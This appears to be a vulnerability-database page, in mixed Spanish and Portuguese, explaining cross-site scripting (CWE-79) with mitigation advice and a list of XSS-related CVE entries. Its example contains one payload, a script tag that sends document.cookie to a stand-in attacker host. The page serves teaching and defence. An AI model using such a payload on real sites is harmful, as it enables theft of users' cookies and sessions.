Fallos del tipo CWE-79

30.670 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-36007HIGHMicrosoft Send Customer Voice survey from Dynamics 365 Spoofing VulnerabilityEPSS 1.1%CVE-2022-41224MEDIUMJenkins 2.367 through 2.369 (both inclusive) does not escape tooltips of the l:helpIcon UI component used for some help icons on the JenkinsEPSS 1.1%CVE-2023-28350MEDIUMAn issue was discovered in Faronics Insight 10.0.19045 on Windows. Attacker-supplied input is not validated/sanitized before being rendered EPSS 1.1%CVE-2022-22115CRITICALTeedy - Stored Cross-Site Scripting (XSS) in Tag NameEPSS 1.1%CVE-2019-1856MEDIUMCisco Prime Collaboration Assurance Cross-Site Scripting VulnerabilityEPSS 1.1%CVE-2019-12695MEDIUMCisco Adaptive Security Appliance and Firepower Threat Defense Software WebVPN Cross-Site Scripting VulnerabilityEPSS 1.1%CVE-2024-21908MEDIUMCross-site scripting vulnerability in TinyMCEEPSS 1.1%CVE-2020-3121MEDIUMCisco Small Business Smart and Managed Switches Cross-Site Scripting VulnerabilityEPSS 1.1%CVE-2024-31835MEDIUMCross Site Scripting vulnerability in flatpress CMS Flatpress v1.3 allows a remote attacker to execute arbitrary code via a crafted payload EPSS 1.1%CVE-2024-33905MEDIUMIn Telegram WebK before 2.0.0 (488), a crafted Mini Web App allows XSS via the postMessage web_app_open_link event type.EPSS 1.1%CVE-2022-28820MEDIUMAdobe Consulting Services Reflected Cross-Site Scripting Arbitrary Code ExecutionEPSS 1.1%CVE-2008-3397MEDIUMCross-site scripting (XSS) vulnerability in Runesoft Cerberus CMS before 3_1.4_0.9 allows remote attackers to inject arbitrary web script orEPSS 1.1%CVE-2026-111233LOWNetgate pfSense CE 2.7.1 through 2.9.0 Reflected XSS via firewall_rules.phpEPSS 1.1%CVE-2024-34342HIGHreact-pdf's PDF.js vulnerable to arbitrary JavaScript execution upon opening a malicious PDFEPSS 1.1%CVE-2020-8347MEDIUMA reflective cross-site scripting (XSS) vulnerability was reported in Lenovo Enterprise Network Disk prior to version 6.1 patch 6 hotfix 4 tEPSS 1.1%CVE-2023-5863HIGHCross-site Scripting (XSS) - Reflected in thorsten/phpmyfaqEPSS 1.1%CVE-2017-7422—Reflected and stored Cross-Site Scripting (XSS, CWE-79) vulnerabilities in esfadmingui in Micro Focus Enterprise Developer and Enterprise SeEPSS 1.1%CVE-2017-15888—Cross-site scripting (XSS) vulnerability in Custom Internet Radio List in Synology Audio Station before 6.3.0-3260 allows remote authenticatEPSS 1.1%CVE-2024-22397HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in the SonicOS SSLVPN portal allows a remote authenticaEPSS 1.1%CVE-2018-3726—crud-file-server node module before 0.8.0 suffers from a Cross-Site Scripting vulnerability to a lack of validation of file names.EPSS 1.1%